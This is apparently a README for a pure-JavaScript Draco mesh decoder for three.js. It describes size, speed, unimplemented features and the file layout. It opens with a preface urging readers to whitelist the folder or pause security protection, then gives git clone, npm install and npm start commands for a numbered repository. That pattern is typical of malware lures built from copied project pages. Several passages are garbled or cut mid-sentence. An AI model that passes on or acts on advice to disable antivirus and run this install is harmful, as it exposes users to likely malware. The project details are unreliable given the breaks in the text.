Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/AnalystCorrect/draco.js-875.git
cd draco.js-875
npm install
npm startA pure-JavaScript Draco mesh loader for
three.js. It's a drop-in DRACOLoader that decodes Draco-compressed triangle
meshes — both the EdgeBreaker connectivity used by glTF's
KHR_draco_mesh_compression and Draco's sequential connectivity — directly in
JavaScript.
Why a JS port instead of the official WASM build?
- Small — ~22 KB gzipped (69 KB minified), vs ~100 KB gzipped for the
draco3dWASM decoder + glue (~4.6× smaller). - Simple to ship — one ES module. No
.wasmfetch, no worker/glue setup, no cross-origin or CSP headaches. - Fast — on substantial meshes it's within ~1.0–1.4× of the WASM decoder, and effectively at parity on the largest ones, with byte-for-byte identical output (see Correctness).
On the largest meshes (e.g. a 358k-face glTF) the two are about even; WASM keeps a lead of up to ~1.35× on smaller and mid-size meshes. You trade, at most, a modest amount of decode speed for a much smaller, simpler-to-deploy loader.
Targets Draco bitstream version 2.2 — what current Draco encoders and glTF exporters produce.
Not implemented:
- Point-cloud decoding (sequential and KD-tree) — only triangle meshes are decoded.
- Metadata content — geometry metadata is parsed (so metadata-bearing files still decode correctly) but is not surfaced on the returned geometry.
- Older bitstreams (< 2.2) — not a support goal, though many still decode.
Output is byte-for-byte identical to Google's reference draco3d WASM
element-by-element — face indices and every per-point attribute value match
times decoding and guards against output regressions via a sha256 of the
decoded geometry.
src/ decoder source, mirroring draco/src/draco/ file-for-file
build/ bundled output (build/DRACOLoader.js + .min.js)
tools/ bench.mjs (timing + regression) and verify-wasm.mjs (WASM parity)
libs/ three.js's WASM Draco loader, vendored for the comparison
samples/ .drc and Draco-compressed .glb test models
index.html JS-vs-WASM comparison viewer
- Decoder logic is a port of Google Draco (Apache-2.0); it mirrors the original C++ file structure.
DRACOLoader.jsfollows the API of three.js'sDRACOLoader(MIT) so it drops intoGLTFLoaderunchanged.